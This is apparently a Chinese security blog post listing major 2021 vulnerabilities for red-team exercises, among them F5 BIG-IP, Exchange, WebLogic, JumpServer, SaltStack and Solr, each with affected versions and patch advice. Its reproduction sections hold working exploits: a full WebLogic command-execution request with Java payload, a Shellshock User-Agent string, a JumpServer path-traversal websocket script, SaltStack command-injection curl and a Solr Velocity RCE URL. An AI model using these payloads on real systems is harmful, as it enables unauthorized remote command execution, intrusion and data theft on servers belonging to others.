2021 攻防演练中需要关注的重点漏洞

F5 BIG-IP/IQ 多个高危漏洞通告

https://vas.riskivy.com/vuln-detail?id=81

漏洞信息及危害

F5 BIG-IP是F5公司的一款应用交付平台,F5官方于2021年3月10日发布安全公告,称有七个有关BIG-IP和BIG-IQ的安全漏洞。其中CVE-2021-22986是一个未认证的远程命令执行漏洞,由于对HTTP请求的认证不完全,可以允许攻击者通过设置特殊的HTTP header来绕过权限认证并访问BIG-IP的REST API从而执行命令。

CVE-2021-22986

iControl REST 未授权远程代码执行漏洞允许未经身份验证的攻击者通过BIG-IP管理界面和self ip 对iControl REST接口进行网络访问,以执行任意系统命令,创建或删除文件以及禁用服务。设备模式下的BIG-IP系统也容易受到攻击。漏洞成因是由于在Apache中的认证模块mod_auth_pam.so会在查看X-F5-Auth-Token头部后直接发送到后端Jetty服务器,且不会对X-F5-Auth-Token的值进行认证。同时后端Jetty不会对Basic Auth的头部进行密码认证,所以攻击者可以通过一个空的X-F5-Auth-Token和只拥有管理员(admin或root)用户名的Basic Auth头部即可通过所有认证,并基于此访问只有授权用户才能访问的API端点,执行命令。

影响范围

CVE-2021-22986

影响版本:
BIG-IP 16.0.0-16.0.1
BIG-IP 15.1.0-15.1.2
BIG-IP 14.1.0-14.1.3.1
BIG-IP 13.1.0-13.1.3.5
BIG-IP 12.1.0-12.1.5.2
BIG-IQ 7.1.0-7.1.0.2
BIG-IQ 7.0.0-7.0.0.1
BIG-IQ 6.0.0-6.1.0

漏洞验证\复现

此漏洞只需要运行F5的Big-IP\IQ服务器的地址。通过对服务器管理端点发送空的X-F5-Auth-Token头部及仅拥有用户名的Basic Authorization头部即可绕过认证。

通过本方法,访问https://<f5_url>/mgmt/tm/util/bash发送POST请求并附上一下数据:

{"command": "run", "utilCmdArgs": "-c <指令内容>"}

便可以成功通过iControl的REST API来执行系统指令。

修复方案

从F5官方网站下载补丁并尽快升级到最新版本的F5服务。

微软Exchange多个高危漏洞通告

https://vas.riskivy.com/vuln-detail?id=79

漏洞信息及危害

2021年3月2日,微软发布了Microsoft Exchange Server的安全更新公告,其中包含多个Exchange Server的多个安全漏洞:

CVE-2021-26855

该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。

CVE-2021-26857

该漏洞是Unified Messaging 服务中的不安全的反序列化漏洞。利用该漏洞,攻击者可以发送精心构造的恶意请求,从而在Exchange Server上以SYSTEM身份执行任意代码。

CVE-2021-26858

该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。

CVE-2021-27065

该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。

其中CVE-2021-26855可以和CVE-2021-26858或CVE-2021-27065结合在一起,实行从SSRF到RCE,是本次披露的漏洞中可以造成最大危害的。尽管CVE-2021-26857也可以导致远程命令执行,但Unified Messaging服务有时可能会被关闭,所以导致了SSRF的攻击链更为致命。在CVE-2021-26855中,由于Exchange服务器不会对X-BEResource Cookie中的url进行过滤,导致攻击者可以通过更改cookie达成SSRF,访问任意本地网址。而利用SSRF可以使攻击者访问后端端点而写露出用户的SID,邮箱地址,和读取任意用户邮件。CVE-2021-26858和CVE-2021-27065是利用了Exchange服务器不会对VirtualDirectory配置文件的文件后缀进行过滤,导致攻击者可以通过恶意的url在远程服务器上写入webshell并执行命令。

影响范围

Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
Microsoft Exchange 2010

漏洞验证\复现

这里会着重复现CVE-2021-26855的SSRF和CVE-2021-26858或CVE-2021-27065导致的RCE。
漏洞验证和利用脚本可以再github上找到。https://github.com/hausec/ProxyLogon。

对漏洞的利用需要一个合理的IP地址,和一个合理的域用户。

修复方案

可以根据相关的Exchange服务器版本在微软官方下载补丁并安装。
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901

VMware多个高危漏洞通告

https://vas.riskivy.com/vuln-detail?id=78

漏洞信息及危害

2021 年2月24日,VMware官方发布安全通告,其中包含了影响VMware vCenter Server和ESXi组件的多个高危漏洞,漏洞编号为CVE-2021-21972与CVE-2021-21974,CVE-2021-21973。其中CVE-2021-21972和CVE-2021-21974最为严重,都可以造成攻击者对目标机器的远程命令执行。

CVE-2021-21972

vCenter Server包含一个远程执行代码漏洞,具有vCenter Server服务443端口的访问权限的攻击者可以通过发送精心构造的恶意POST请求,将导致信息泄露并导致远程代码执行漏洞。由于vCenter不会对uploadova的端点进行鉴权,导致任意用户可以访问。并且该端点会用tar解压上传的压缩包到指定目录,攻击者可以利用目录遍历将文件上传到任意地点,导致命令执行。

影响范围

VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG

漏洞复现\利用

CVE-2021-21972可以让攻击者使用POST请求上传恶意文件,并通过恶意文件来执行指令。对于这个漏洞的利用脚本可以在 https://github.com/horizon3ai/CVE-2021-21972 获取到。

上传完毕后便可以在相应的地址找到webshell然后执行命令。

而在某些情况下,如Unix系统下,用户对于Web界面没有写入权限时,可以通过上传ssh秘钥来获取对服务器的控制权限。

漏洞修复

可在VMWare官网上更新或下载最新版本的应用。

SonicWall SSL-VPN 远程命令执行漏洞

https://vas.riskivy.com/vuln-detail?id=76

漏洞信息及危害

2021年1月24日,国外安全研究人员披露了SonicWall SSL-VPN 历史版本中存在的远程命令执行漏洞。由于SonicWall SSL-VPN历史版本使用了受ShellShock漏洞影响的bash 版本以及HTTP CGI 可执行程序,导致攻击者可以通过发送精心构造的HTTP请求,造成远程命令执行漏洞。本漏洞复现难度相对简单,但对目标有严重的危害。

影响范围

Sonic SMA < 8.0.0.4

漏洞复现\利用

由于漏洞原因是Shellshock,所以利用过程相对简单。攻击者可以通过访问http://<url>/cgi-bin/jarrewrite.sh并将User-Agent头部改为(){:;};echo;<Shell命令>即可执行指令。

漏洞修复

登陆Sonic-Wall官方下载补丁并安装。

Oracle WebLogic 多个安全漏洞

https://vas.riskivy.com/vuln-detail?id=75
https://vas.riskivy.com/vuln-detail?id=62

漏洞信息及危害

2020年1月20日,Oracle官方发布了2021年1月安全更新公告, 其中包含多个高危安全漏洞。其中着重介绍CVE-2021-2109,为JNDI注入而导致的远程命令执行。

CVE-2021-2109

在Weblogic Server的console中存在着认证用户注入JNDI的漏洞,由于Weblogic对POST请求中的参数过滤不完全,可以让攻击者运行相关Java代码并执行命令。

2020年10月20日,Oracle官方发布了2020年10月安全更新公告, 其中包含多个高危安全漏洞。这里着重介绍CVE-2020-14882。

CVE-2020-14882

Oracle WebLogic Server Web Services组件中利用HTTP协议可以让攻击者在未认证的情况下进行远程代码执行漏洞。漏洞成因是由于Weblogic不会对如/css/开头路径的资源进行认证检验,所以攻击者可以通过在URL中加入”..;”,来达到绕过授权绕过的目的。而在绕过认证之后可以利用POST请求中的handle参数去执行任意Java代码,严重可导致命令执行。

影响范围

CVE-2021-2109

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0

影响范围

CVE-2021-2109

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0

CVE-2021-14882

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0

漏洞复现\利用

CVE-2021-2109

本漏洞的利用和详细分析可以再 https://github.com/rabbitsafe/CVE-2021-2109 找到。简单来说,本漏洞是利用JNDI注入,发送如下HTTP的POST请求便可以执行命令。由于访问的地址是需要授权的,可以将CVE-2020-14882中提到的目录遍历进行认证绕过并最终达到命令执行。

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

CVE-2020-14882

本漏洞的利用过程比较简单,是因为Weblogic不会过滤某些特殊字符而导致的认证绕过从而让攻击者访问控制台并执行命令。对于漏洞的具体分析和利用可以在 https://github.com/jas502n/CVE-2020-14882 找到。由于Weblogic不会对静态文件的访问做出认证和授权,所以可以通过利用目录遍历来访问console.portal进而绕过认证。在服务器端又由于对目录遍历的过滤不够完全而导致目录遍历。

通过向http://<url>/console/css/%252e%252e%252fconsole.portal发送POST请求并加入cmd的HTTP头部便可以执行命令。

由burp抓包的POST请求如下:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: punchbag:7001
cmd: id;whoami;uname -a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

漏洞修复

前往Weblogic网站并下载补丁或者最新版本。

JumpServer 远程命令执行漏洞

https://vas.riskivy.com/vuln-detail?id=74

漏洞信息及危害

2021年1月15日,JumpServer官方发布了安全通告,其中修复了一处远程命令执行漏洞。由于 JumpServer 的websocket接口未做授权限制,允许攻击者通过利用目录遍历而读取任意文件,通过读取系统上的日志可以获取到关键的服务器信息。之后可以制作token获得认证,并能通过访问API执行任意命令。

影响范围

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
JumpServer >= v1.5.3

漏洞复先\利用

可以通过Websocket来建立对JumpServer的连接,并且可以在未授权的情况下读取日志并获取关键信息。后使用拿到的关键信息获取临时token并获得认证,最后可以通过JumpServer的koko端执行命令。

首先使用日志读取poc

import websocket
#pip install websocket_client
import json
import sys
try:
    import thread
except ImportError:
    import _thread as thread

def on_message(ws, message):
    print(json.loads(message)["message"])

def on_error(ws, error):
    print(error)

def on_close(ws):
    print("### closed ###")

def on_open(ws):
    print("open")
    ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
    #thread.start_new_thread(run, ())


if __name__ == "__main__":
    websocket.enableTrace(True)
    ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
                              on_message = on_message,
                              on_error = on_error,
                              on_close = on_close)
    ws.on_open = on_open
    ws.run_forever()

来获取日志中的关键信息。而之后用从日志中获取的数据来生成token。

POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: ********
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Referer: http://****/luna/?_=1610803918148
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

user=6ff28bb9-27c8-4f16-a9b1-c281e8bef84b&asset=65914948-7afb-43a7-b2e0-6754b145278b&system_user=2509e891-1b40-4d5b-9386-870e7e769cda

写入到cache token 值数据结果如下

value = {
            'user': user_id,
            'username': user.username,
            'asset': asset_id,
            'hostname': asset.hostname,
            'system_user': system_user_id,
            'system_user_name': system_user.name
        }

生成的token会在koko go中被用到。把token的值作为target-id传入http://*****/koko/ws/token/?target_id=便可以进入到runTTY从而进行命令执行。

漏洞修复

JumpServer官方提供了详细的修复步骤,可以参照 https://github.com/jumpserver/jumpserver/issues/5533 。

Apache Flink 目录遍历漏洞(CVE-2020-17518/17519)

https://vas.riskivy.com/vuln-detail?id=71

漏洞信息及危害

2021年1月5日,Apache Flink官方发布了安全通告,其中包含了CVE-2020-17518和CVE-2020-17519的漏洞修复。其中CVE-2020-17518允许攻击者利用REST API,并通过精心构造的HTTP Header ,实现远程文件写入。而拥有远程文件写入的攻击者可以向目标机写入恶意文件并执行,导致远程命令执行。由于服务器端不会对用户上传的文件名进行适当的输入,而导致恶意攻击者可以利用目录遍历在目标机上上传任意文件。文件读取的漏洞是利用了jobmanager端点对url过滤不仔细导致的目录遍历。

影响范围

Apache Flink: 1.5.1 – 1.11.2

漏洞复现\利用

Apache Flink的REST API中存在着文件上传的功能,而通过访问此API并且利用目录穿越可以上传任意文件到目标上。

尽管服务器会返回400,文件仍然成功上传,可以利用本漏洞上传webshell或ssh秘钥。

对漏洞的利用可以参考 https://github.com/QmF0c3UK/CVE-2020-17518。

漏洞修复

升级Apache Flink到最新版本。

SaltStack多个高危漏洞通告

https://vas.riskivy.com/vuln-detail?id=64

漏洞信息及危害

2020年5月3日,国外安全团队发布了SaltStack的两个高危漏洞,分别是命令执行漏洞CVE-2020-11651和目录遍历漏洞CVE-2020-11652。

CVE-2020-11651

由于SaltStack不会对某些需要授权的方法进行查看认证,导致攻击者利用该漏洞构造恶意请求,调用相关未授权函数的功能,获得root key后并调用其他端点从而实现远程命令执行。

CVE-2020-11652

由于SaltStack不会对上传的文件名进行过滤,攻击者利用目录遍历构造恶意请求,可以获取服务器目录结构,读取任意文件。

2020年11月3日,SaltStack官方发布Salt的安全更新公告,其中包含CVE-2020-16846和CVE-2020-25592两个高危漏洞,通过漏洞组合利用可以绕过salt-api身份认证从而执行任意命令。

CVE-2020-16846

访问Salt API的未经身份验证的用户可以通过利用Salt API中直接执行cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path)的部分注入 SSH连接命令,由于对用户输入过滤不完全,会让攻击者对指令进行注入并达成远程命令执行。

CVE-2020-25592

Salt API不正确地验证了eauth凭据和令牌,不会对凭据和令牌的内容进行核实,导致了未授权攻击者可以绕过Salt API的身份验证。而绕过身份验证的攻击者对SaltStack中SSH的相关方法进行命令注入执行命令。

影响范围

CVE-2020-11651,CVE-2020-11652

SaltStack < 2019.2.4
SaltStack < 3000.2

CVE-2020-16846,CVE-2020-25592

SaltStack < 3002.1
SaltStack < 3001.3
SaltStack < 3000.5
SaltStack < 2019.2.7

漏洞复现\利用

首先按照时间顺序,看2020年5月发布的两个漏洞。

CVE-2020-11651

根据现有的poc,这个漏洞的利用流程是首先由攻击者利用未认证函数来获得系统的key,后使用系统的key来绕过认证并且执行系统指令。导致系统key泄露的原因是SaltStack对用户输入不完全而导致用户可以访问认证前的函数并从里面调出系统key。之后便是利用key访问认证的函数并执行命令。

CVE-2020-11652

目录遍历的漏洞是由于对用户输入不进行过滤而导致用户可以再文件前加../并读取任意系统文件。而通过CVE-2020-11651中提到的获取系统key的手段,也可以利用系统key来使用读取文件的函数。

CVE-2020-16846,CVE-2020-25592

对于2020年10月发布的两个CVE的利用过程简单,通过使用POST请求访问特定的地址,附上准备好的数据便可以达成命令注入。

curl -v -sk -X POST https://127.0.0.1:8000/run \
-H 'Content-Type: application/json' \
-d '{"client":"ssh","tgt":"*","fun":"anything","eauth":"anything","ssh_priv":"/dev/null < /dev/null; touch /tmp/1.txt #"}'

漏洞利用和分析参考本文

漏洞修复

更新至最新版SaltStack。

XXL-JOB 未授权接口反序列化漏洞

https://vas.riskivy.com/vuln-detail?id=63

漏洞信息及危害

XXL-Job的执行器REST端口对数据处理及端点授权不当导致攻击者可以发送精心制作的Java序列化类造成远程命令执行。

影响范围

XXL-JOB <= 2.2.0

漏洞复现\利用

由于处理不当,导致XXL-Job不会对invokeAdminServiceAPI进行鉴权,而对该端点进行访问的请求最终会被反序列化,从而导致恶意反序列化和命令执行。在构造反序列化的数据时需要绕过JNDI, 可以利用本程序进行JNDI的绕过

漏洞修复

更新版本或配置 xxl.job.accessToken,对接口进行鉴权。

Apache Solr ConfigSet API 文件上传漏洞(CVE-2020-13957)

https://vas.riskivy.com/vuln-detail?id=58

漏洞信息及危害

2020年10月12日,Apache Solr发布安全更新,漏洞编号为CVE-2020-13957,攻击者可以通过结合使用 UPLOAD/CREATE 两个ACTION 规避ConfigSet API 的检查,实现未授权文件上传,多次上传配置文件后可以绕过认证,最后使用solrVelocity模板实现远程命令执行。

影响范围

Apache Solr 6.6.0 – 6.6.5
Apache Solr 7.0.0 – 7.7.3
Apache Solr 8.0.0 – 8.6.2

漏洞复现\利用

对漏洞的利用分成几部分,首先要更改配置文件为后续的代码执行做准备,所以要在本地制作好zip文件并上传。

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @7.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"

这之后需要更改上传collection的配置,更改为可以让攻击者绕过upload方法并创建新的collection。

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

现在可以上传恶意的collection。

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"


最后利用已上传的collection来达成代码执行。

http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

以上复现过程来源于 https://www.secpulse.com/archives/144081.html。

漏洞修复

升级到Solr 8.6.3或更高版本,如果无法及时升级到安全版本,可参考以下缓解措施。
缓解措施:
1. 通过设置系统变量configset.upload.enabled 为 false,来禁用ConfigSets API的UPLOAD操作
2. 启用身份验证/授权
3. 使用补丁程序进行修复,补丁链接: https://issues.apache.org/jira/secure/attachment/13012410/SOLR-14663.patch

MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543

https://mp.weixin.qq.com/s/B6h1deYLt6e3I4ho43tFBw

漏洞信息及危害

MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统。该系统存在通用WEB信息泄漏,泄露Windows服务器administrator的密码hash与web账号密码。服务器不会对敏感文件进行权限查看,导致任何人都可以访问特定url并获取服务器关键信息。

影响范围

MessageSolution 企业邮件归档管理系统EEA

漏洞复现\利用

通过访问http://<host>/authenticationserverservlet/
则可以获得管理员的hash及web密码。

评论(0)

暂无评论

发表评论

captcha